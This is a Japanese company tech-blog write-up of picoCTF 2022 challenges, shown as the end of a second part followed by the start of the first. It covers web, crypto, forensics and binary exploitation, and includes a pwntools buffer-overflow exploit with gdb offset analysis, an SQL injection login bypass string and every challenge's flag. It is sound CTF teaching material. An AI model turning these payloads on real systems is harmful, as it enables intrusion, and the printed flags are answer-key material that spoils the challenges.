TECH PLAY

株式会社マイナビ デジタルテクノロジー戦略本部

株式会社マイナビ デジタルテクノロジー戦略本部 の技術ブログ

215

前編 本記事はpicoCTF 2022のWriteup(前編)の続きです。 ###card_post_id=939### RPS Description Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row. Connect to the program with netcat: $ nc saturn.picoctf.net 53865 The program's source code with the flag redacted can be downloaded here . じゃんけんで5回勝てばいい問題です。 以下は勝ち負けに影響する部分を抜粋したものです。 //game-redacted.c...// 手の管理。handsは出力用。losesは勝ち負け判定で利用char* hands[3] = {"rock", "paper", "scissors"};char* loses[3] = {"paper", "scissors", "rock"};int wins = 0;... // コンピュータの手を決定 int computer_turn = rand() % 3; printf("You played: %s\n", player_turn); printf("The computer played: %s\n", hands[computer_turn]); // 勝ち負けの判定 if (strstr(player_turn, loses[computer_turn])) { puts("You win! Play again?"); return true; } else { puts("Seems like you didn't win this time. Play again?"); return false; } ... strstr(player_turn, loses[computer_turn])で勝ち負けを判定しているのがわかります( strstrは 文字列を検索する関数 )。 ユーザの入力文字に対して検証を行っていないので、以下のパターンで確実に勝てます。 maz-picoctf@webshell:~/bof1$ nc saturn.picoctf.net 53865Welcome challenger to the game of Rock, Paper, ScissorsFor anyone that beats me 5 times in a row, I will offer up a flag I foundAre you ready?Type '1' to play a gameType '2' to exit the program11Please make your selection (rock/paper/scissors):rock/paper/scissors ← 確実に勝てる魔法の手rock/paper/scissorsYou played: rock/paper/scissorsThe computer played: scissorsYou win! Play again?Type '1' to play a gameType '2' to exit the program...Please make your selection (rock/paper/scissors):rock/paper/scissorsrock/paper/scissorsYou played: rock/paper/scissorsThe computer played: rockYou win! Play again?Congrats, here's the flag!picoCTF{50M3_3X7R3M3_1UCK_B69E01B8} flag : picoCTF{50M3_3X7R3M3_1UCK_B69E01B8} buffer overflow 2 Description Control the return address and arguments This time you'll need to control the arguments to the function you return to! Can you get the flag from this program ? You can view source here . And connect with it using nc saturn.picoctf.net 61527 buffer overflow1 と同じ戦略で解いていきます。 違う箇所は下記の通り、win関数に引数が設定されていて且つそれの検証を行っている点です。 //vuln.c...void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xCAFEF00D) return; if (arg2 != 0xF00DF00D) return; printf(buf);} なるほど。 maz-picoctf@webshell:~/bof2$ gdb vulnGNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2Copyright (C) 2020 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from vuln...(No debugging symbols found in vuln)gdb-peda$ pattc 300'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'gdb-peda$ runStarting program: /home/maz-picoctf/bof2/vuln warning: Error disabling address space randomization: Operation not permittedPlease enter your string: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x12d EBX: 0x41413741 ('A7AA')ECX: 0xffffffff EDX: 0xffffffff ESI: 0xf7f74000 --> 0x1ead6c EDI: 0xf7f74000 --> 0x1ead6c EBP: 0x6941414d ('MAAi')ESP: 0xffb8bec0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")EIP: 0x41384141 ('AA8A')EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x41384141[------------------------------------stack-------------------------------------]0000| 0xffb8bec0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0004| 0xffb8bec4 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0008| 0xffb8bec8 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0012| 0xffb8becc ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0016| 0xffb8bed0 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0020| 0xffb8bed4 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0024| 0xffb8bed8 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0028| 0xffb8bedc ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x41384141 in ?? ()gdb-peda$ patto 0x413841411094205761 found at offset: 112gdb-peda$ 112桁でオーバーフロー。 以上の情報を使用してexploitを作成します( buffer overflow1 のコードを流用)。win関数の引数検証をバイパスする部分の追加を忘れないようにしましょう。 # exploit.py...def exploit(con, elf, libc, rop): win_symbols = elf.symbols["win"] log.info("win symbol: {}".format(hex(win_symbols))) offset = 112 args_1 = 0xCAFEF00D args_2 = 0xF00DF00D payload = b"A" * offset payload += pack(win_symbols) payload += b"BBBB" payload += pack(args_1) payload += pack(args_2) log.info("payload: {}".format(payload)) con.sendline(payload) maz-picoctf@webshell:~/bof2$ python exploit.py REMOTE[+] Opening connection to saturn.picoctf.net on port 61527: Done[*] '/home/maz-picoctf/bof2/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[*] Loaded 10 cached gadgets for './vuln'[*] win symbol: 0x8049296[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08BBBB\r\xf0\xfe\xca\r\xf0\r\xf0'[*] Switching to interactive modePlease enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xfe\xcaAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04BBBB$ picoCTF{argum3nt5_4_d4yZ_4b24a3aa}[*] Got EOF while reading in interactive flag: picoCTF{argum3nt5_4_d4yZ_4b24a3aa} Forensics Enhance! Description Download this image file and find the flag. * Download image file svgファイルからフラグを探す問題です。tspanタグに有りました。 maz-picoctf@webshell:~/enhance$ strings drawing.flag.svg flag: picoCTF{3nh4nc3d_24374675} Sleuthkit Intro Description Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. * Download disk image * Access checker program: nc saturn.picoctf.net 52279 問題通りmmls コマンドを使用して、配布されたイメージファイルのpartitionサイズを入力すればフラグがゲットできます。 maz-picoctf@webshell:/tmp/sleuthkit_intro$ mmls disk.img DOS Partition TableOffset Sector: 0Units are in 512-byte sectors Slot Start End Length Description000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)001: ------- 0000000000 0000002047 0000002048 Unallocated002: 000:000 0000002048 0000204799 0000202752 Linux (0x83)maz-picoctf@webshell:/tmp/sleuthkit_intro$ maz-picoctf@webshell:/tmp/sleuthkit_intro$ nc saturn.picoctf.net 52279What is the size of the Linux partition in the given disk image?Length in sectors: 202752202752Great work!picoCTF{mm15_f7w!} flag: picoCTF{mm15_f7w!} Sleuthkit Apprentice Description Download this disk image and find the flag. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. * Download compressed disk image ディスクイメージにあるフラグをゲットします。 maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ mmls disk.flag.img DOS Partition TableOffset Sector: 0Units are in 512-byte sectors Slot Start End Length Description000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)001: ------- 0000000000 0000002047 0000002048 Unallocated002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)003: 000:001 0000206848 0000360447 0000153600 Linux Swap / Solaris x86 (0x82)004: 000:002 0000360448 0000614399 0000253952 Linux (0x83)maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ maz-picoctf@webshell:/tmp/apprentice$ fls -r -o 360448 disk.flag.img | grep flag++ r/r * 2082(realloc): flag.txt++ r/r 2371: flag.uni.txtmaz-picoctf@webshell:/tmp/apprentice$ maz-picoctf@webshell:/tmp/apprentice$ icat -o 360448 disk.flag.img 2371 > flag.uni.txtmaz-picoctf@webshell:/tmp/apprentice$ lsdisk.flag.img flag.uni.txtmaz-picoctf@webshell:/tmp/apprentice$ cat flag.uni.txt picoCTF{by73_5urf3r_adac6cb4}maz-picoctf@webshell:/tmp/apprentice$ flag: picoCTF{by73_5urf3r_adac6cb4} Operation Oni Description Download this disk image, find the key and log into the remote machine. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. * Download disk image * Remote machine: ssh -i key_file -p 51508 ctf-player@saturn.picoctf.net ディスクイメージにあるSSHキーを取得して、リモートサーバへSSH接続してフラグをゲットする問題です。 maz-picoctf@webshell:/tmp/oni$ mmls disError stat(ing) image file (raw_open: image "dis" - No such file or directory)maz-picoctf@webshell:/tmp/oni$ mmls disk.img DOS Partition TableOffset Sector: 0Units are in 512-byte sectors Slot Start End Length Description000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)001: ------- 0000000000 0000002047 0000002048 Unallocated002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)003: 000:001 0000206848 0000471039 0000264192 Linux (0x83)maz-picoctf@webshell:/tmp/oni$ maz-picoctf@webshell:/tmp/oni$ fls -r -o 206848 disk.img | grep id_++++++ r/r 1335: raid_class.ko++ r/r 2345: id_ed25519++ r/r 2346: id_ed25519.pubmaz-picoctf@webshell:/tmp/oni$ maz-picoctf@webshell:/tmp/oni$ chmod 600 id_ed25519maz-picoctf@webshell:/tmp/oni$ maz-picoctf@webshell:/tmp/oni$ ssh -i id_ed25519 -p 51508 ctf-player@saturn.picoctf.netload pubkey "id_ed25519": invalid formatWelcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1017-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantageThis system has been minimized by removing packages and content that arenot required on a system that users do not log into.To restore this content, you can run the 'unminimize' command.The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.ctf-player@challenge:~$ ctf-player@challenge:~$ lsflag.txtctf-player@challenge:~$ ctf-player@challenge:~$ cat flag.txt picoCTF{k3y_5l3u7h_d6e19567}ctf-player@challenge:~$ ctf-player@challenge:~$ flag: picoCTF{k3y_5l3u7h_d6e19567} Operation Orchid Description Download this disk image and find the flag. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. * Download compressed disk image ディスクイメージ内にあるフラグをゲットする問題です。これまでと一緒ですね。サクッと行きましょう。 maz-picoctf@webshell:/tmp/orchid$ mmls disk.flag.img DOS Partition TableOffset Sector: 0Units are in 512-byte sectors Slot Start End Length Description000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)001: ------- 0000000000 0000002047 0000002048 Unallocated002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)003: 000:001 0000206848 0000411647 0000204800 Linux Swap / Solaris x86 (0x82)004: 000:002 0000411648 0000819199 0000407552 Linux (0x83)maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ fls -r -o 411648 disk.flag.img | grep flag+ r/r * 1876(realloc): flag.txt+ r/r 1782: flag.txt.encmaz-picoctf@webshell:/tmp/orchid$ ??? 暗号化されているかもです。 maz-picoctf@webshell:/tmp/orchid$ icat -o 411648 disk.flag.img 1782 > flag.txt.encmaz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ lsdisk.flag.img flag.txt.encmaz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ cat flag.txt.enc Salted__O金Oez2>@SSgk(r]}}fzȤ7 ؎$'%maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ 案の定されていました。平文に復号する方法を考えないといけません。 maz-picoctf@webshell:/tmp/orchid$ file flag.txt.enc flag.txt.enc: openssl enc'd data with salted passwordmaz-picoctf@webshell:/tmp/orchid$ どうやらopensslを使用して暗号化されたようです( opensslコマンドを使用して暗号化 )。もしかしたらその際のコマンドがhistoryに残っているかもしれません。 maz-picoctf@webshell:/tmp/orchid$ fls -r -o 411648 disk.flag.img | grep history+ r/r 1875: .ash_historymaz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ icat -o 411648 disk.flag.img 1875 > .ash_historymaz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ cat .ash_history touch flag.txtnano flag.txt apk get nanoapk --helpapk add nanonano flag.txt opensslopenssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567shred -u flag.txtls -alhaltmaz-picoctf@webshell:/tmp/orchid$ 有りました。-dオプションで復号することができるのでやります。 maz-picoctf@webshell:/tmp/orchid$ openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567*** WARNING : deprecated key derivation used.Using -iter or -pbkdf2 would be better.bad decrypt140042247042368:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:610:maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ lsdisk.flag.img flag.txt flag.txt.encmaz-picoctf@webshell:/tmp/orchid$ cat flag.txtpicoCTF{h4un71ng_p457_5113beab}maz-picoctf@webshell:/tmp/orchid$ flag: picoCTF{h4un71ng_p457_5113beab} 終わりに 問題が多い!! 完走した感想ですが、中高生向けCTFということでコマンドを実行できれば解ける系問題が多く「CTFできてる!!!!」という気持ちになれました。また設問ごとにヒントがあったりと非常に丁寧です。問題数も多く、ステップバイステップで”””高められていく”””体験を得られるかと思います。 スコアボードを見ると全問完答したチームが2チームいて恐ろしかったです…(しかも US Middle/High School)。正直取り組めた時間が少なかったためもう少しスコアは伸ばせそうな気はしますが、そこに慢心せずにスキルを伸ばしていきたいと思います。 次のCTFで会おう!!! サムネ画像ロゴは『pico CTF』より引用
アバター
2022年3月15日17時00分(UTC)〜2022年3月29日20時00分(UTC)に開催されたpicoCTF 2022にチームとして参加しました。 本記事はそのWriteupとなります。 概要 CTF(Capture the Flag)とは情報セキュリティの知識を使うセキュリティコンテンストの一つです。いくつかのジャンルに分かれており、例えば『リバースエンジニアリングによって実行ファイルの脆弱性をつく』だとか『Webアプリの脆弱性をつく』だとか『ファイル内に隠された情報を抜き取る』だとか、そういった攻撃をして隠された『Flag』を手に入れる事を行うコンテストです。 様々なコンテストが世界中で開催されており、日本では12月に本戦が開催される SECCON が有名となっています。 今回、その中でもより初心者向けに特化したpicoCTFに参加しました。各問題についてのwriteupを書きたいと思います。 picoCTFについて picoCTF は米国カーネギーメロン大学主催の中高生向けCTFとなっています。大学生や大人も参加可能となっていて、中高生向けには賞金があります。 出題されるジャンルとしては以下の5つとなっていて、総合得点は14600です(問題数がかなり多い)。 Web Exploitation Cryptography Reverse Engineering Forensics Binary Exploitation コンテスト自体は終了していますが、picoCTFに登録することでいつでも回答可能ですので、興味があれば解いてみると良いかと思います! 結果は7794チーム中1007位でした! (解いた問題割合) 流れ (日本時間3月28日午後2時の出来事) メンバー メンバー 紹介(筆者の偏見が混じっています) S.Hさん 絶対的エース S.Rさん マスター・オブ・セキュア M.W(私) ひよっこ Writeup Web Exploitation Includes jsファイルとcssファイルのコメントとして含まれています。 Inspect HTML こちらはコメントに。 Local Authority 非常にセキュアなログイン処理をかいくぐる必要があります。 Search source CSSファイルのコメントとして埋め込まれています。 Forbidden Paths これを、 こうして、 こうです。 Power Cookie isAdmin=0というCookieが渡されるので、1に書き換えて再度アクセスします。 Roboto Sans /robots.txtに意味深な文字列があります。 Base64デコードしたらパスが出てきて、そこにアクセスしたらflagでした。 Secrets ディレクトリを掘り進んでいくと出てきます。 SQL Direct PostgreSQLに接続してテーブルの情報を確認するだけです。PostgreSQLはあまり触らないので、MySQLとのコマンドの違いにちょっと苦戦しました。 SQLiLite SQLインジェクションで認証をバイパスできます。 <pre>usernamse: ' OR 1-1--password:SQL query: SELECT * FROM users WHERE name=' OR 1=1--' AND password=''</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}</p> Cryptography basic-mod1 ダウンロードした message.txt の中身は 202 137 390 235 114 369 198 110 350 396 390 383 225 258 38 291 75 324 401 142 288 397 となっています。 問題分から、message.txt に記載された数字をそれぞれ37で割った余り(0~36)を、A~Z、0-9、_ に置き換えればよさそうです。 以下の python3 で以下のとおり実行してみます。 >>> cipher_text = open("message.txt").read()>>> "".join(["ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[int(c)%37] for c in cipher_text.split()])'R0UND_N_R0UND_B6B25531' 復号化されたメッセージ "R0UND_N_R0UND_B6B25531" が分かりました。 flag は picoCTF{R0UND_N_R0UND_B6B25531} となります。 basic-mod2 ダウンロードした message.txt の中身は以下のとおりです。 104 85 69 354 344 50 149 65 187 420 77 127 385 318 133 72 206 236 206 83 342 206 370 基本的には basic_mod1 と同じですが、41で割った余りの法41のモジュラ逆数を利用することが異なります。 整数xの法41のモジュラ逆数とは、x*n%41==1 となる整数Nのことです。 Pythonでは以下で関数定義します。 >>> def inverse41(x):... for i in range(41):... if x*i%41==1:... return i... return 0 確かに問題なさそうです。 >>> inverse41(10)*10%411>>> inverse41(31)*31%411 あとは、basic_mod1と同様に解けます。 >>> cipher_text = open("message.txt").read()>>> "".join([" ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[inverse41(int(c)%41)] for c in cipher_text.split()])'1NV3R53KY_H4RD_DADAACAA' flagは picoCTF{1NV3R53KY_H4RD_DADAACAA} となります。 credstuff ダウンロードした leak.tar を展開すると、passwords.txt と usernames.txt が出力されます。 $ find leak -ls 1562440 4 drwxr-xr-x 2 suzuki.hiroaki suzuki.hiroaki 4096 Mar 15 06:29 leak 1562441 16 -rwxr-xr-x 1 suzuki.hiroaki suzuki.hiroaki 13130 Mar 15 06:29 leak/passwords.txt 1562442 8 -rwxr-xr-x 1 suzuki.hiroaki suzuki.hiroaki 7531 Mar 15 06:29 leak/usernames.txt 505人のユーザーのユーザー名とパスワードがそれぞれ、別ファイル usernames.txt と passwords.txt に保管されており、ユーザー cultiris のパスワードを求めればよさそうです。 $ head -n 3 leak/usernames.txt engineerrissolesicebuntfruitfultry$ head -n 3 leak/passwords.txt CMPTmLrgfYCexGzJu6TbdGwZaGK73YKE2XD2TEnvJeHRBdfpt2UukmEk5NCPGUSfs5tGWPK26gG$ wc -l leak/usernames.txt leak/passwords.txt 505 leak/usernames.txt 505 leak/passwords.txt 1010 total grep で cultiris の存在する行を求めて、対応するパスワードを取得します。 $ grep -n cultiris leak/usernames.txt378:cultiris$ head -n 378 leak/passwords.txt | tail -n 1cvpbPGS{P7e1S_54I35_71Z3} パスワードは Rot13 で暗号化されているようです。 phpを利用して復号化します。 $ php -r 'echo str_rot13("cvpbPGS{P7e1S_54I35_71Z3}");'picoCTF{C7r1F_54V35_71M3} flag は picoCTF{C7r1F_54V35_71M3} となります。 morse-code ダウンロードファイルは morse_chal.wav です。 音楽プレイヤーで再生してみると、問題タイトルどおりモールス信号っぽいです。 解読のため、音声編集ファイルで開きます。 モールス信号は .-- .... ....- --... / .... ....- --... .... / ----. ----- -.. / .-- ..--- ----- ..- ----. .... --... これを変換サービスを用いて変換します ( https://morsecode.world/international/translator.html ) 結果は WH47 H47H 90D W20U9H7 となりました。 flagは picoCTF{WH47_H47H_90D_W20U9H7} となります。 substitution0 ダウンロードした message.txt は以下のとおりです。 QWITJSYHXCNDFERMUKGOPVALBZ Hjkjpmre Djykqet qkrgj, axoh q ykqvj qet goqojdb qxk, qet wkrpyho fj ohj wjjodjskrf q ydqgg iqgj xe ahxih xo aqg jeidrgjt. Xo aqg q wjqpoxspd giqkqwqjpg, qet, qoohqo oxfj, penerae or eqopkqdxgog—rs irpkgj q ykjqo mkxzj xe q gixjeoxsxi mrxeors vxja. Ohjkj ajkj oar krpet wdqin gmrog ejqk rej jlokjfxob rs ohj wqin, qet qdrey rej ejqk ohj rohjk. Ohj giqdjg ajkj jlijjtxeydb hqkt qet ydrggb, axoh qdd ohjqmmjqkqeij rs wpkexghjt yrdt. Ohj ajxyho rs ohj xegjio aqg vjkb kjfqknqwdj, qet,oqnxey qdd ohxeyg xeor iregxtjkqoxre, X irpdt hqktdb wdqfj Cpmxojk srk hxg rmxexrekjgmjioxey xo.Ohj sdqy xg: mxirIOS{5PW5717P710E_3V0DP710E_03055505} どうやら、単純な換字式暗号のようです。 先頭行の QWITJSYHXCNDFERMUKGOPVALBZ が A~Zの文字に対応していそうです。 文字をテーブルに従って変換する関数を定義します。 >>> def convert(c):... if 'a' <= c <= 'z': return convert(c.upper()).lower()... table = 'QWITJSYHXCNDFERMUKGOPVALBZ'... if c in table: return chr(table.index(c) + 65)... return c 変換関数を用いて暗号文を解読します。 >>> cipher_text = open("message.txt").read()>>> print("".join(convert(c) for c in cipher_text))ABCDEFGHIJKLMNOPQRSTUVWXYZ Hereupon Legrand arose, with a grave and stately air, and brought me the beetlefrom a glass case in which it was enclosed. It was a beautiful scarabaeus, and, atthat time, unknown to naturalists—of course a great prize in a scientific pointof view. There were two round black spots near one extremity of the back, and along one near the other. The scales were exceedingly hard and glossy, with all theappearance of burnished gold. The weight of the insect was very remarkable, and,taking all things into consideration, I could hardly blame Jupiter for his opinionrespecting it.The flag is: picoCTF{5UB5717U710N_3V0LU710N_03055505} flagは picoCTF{5UB5717U710N_3V0LU710N_03055505} となります。 Reverse Engineering buffer overflow 1 Description Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program . You can view source here . And connect with it using nc saturn.picoctf.net 60476 タイトル通りバッファーオーバーフローを狙う問題です。配布されている実行ファイルを実行すると、以下のようになります。どうやら入力文字列を受け取ると文字列とリターンアドレスが表示されるようです。 maz-picoctf@webshell:~/bof1$ ./vuln Please enter your string: hogehogeOkay, time to return... Fingers Crossed... Jumping to 0x804932fmaz-picoctf@webshell:~/bof1$ やたらめったら長く入力すると、リターンアドレスが変わっているのが確認できます。バッファーオーバーフローしてそうです。 maz-picoctf@webshell:~/bof1$ ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaOkay, time to return... Fingers Crossed... Jumping to 0x61616161Segmentation fault (core dumped)maz-picoctf@webshell:~/bof1$ ソースコードは下記になります。 //vuln.c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include "asm.h"#define BUFSIZE 32#define FLAGSIZE 64void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf);}void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());}int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0;} getsは入力長を制限できないため buf[BUFSIZE];を超えた入力を受け付けてしまう脆弱性があります。 よって戦略としては、getsに対してバッファーオーバーフローを発生させ、win()関数のアドレスを指定することでwin()関数をコールしフラグを入手することになりそうです。 何桁の入力でオーバーフローするか特定します。 maz-picoctf@webshell:~/bof1$ gdb vulnGNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2Copyright (C) 2020 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from vuln...(No debugging symbols found in vuln)gdb-peda$ runStarting program: /home/maz-picoctf/bof1/vuln warning: Error disabling address space randomization: Operation not permittedPlease enter your string: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAAOkay, time to return... Fingers Crossed... Jumping to 0x41414641Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x41 ('A')EBX: 0x61414145 ('EAAa')ECX: 0xffffffff EDX: 0x41 ('A')ESI: 0xf7f22000 --> 0x1ead6c EDI: 0xf7f22000 --> 0x1ead6c EBP: 0x41304141 ('AA0A')ESP: 0xffb13c60 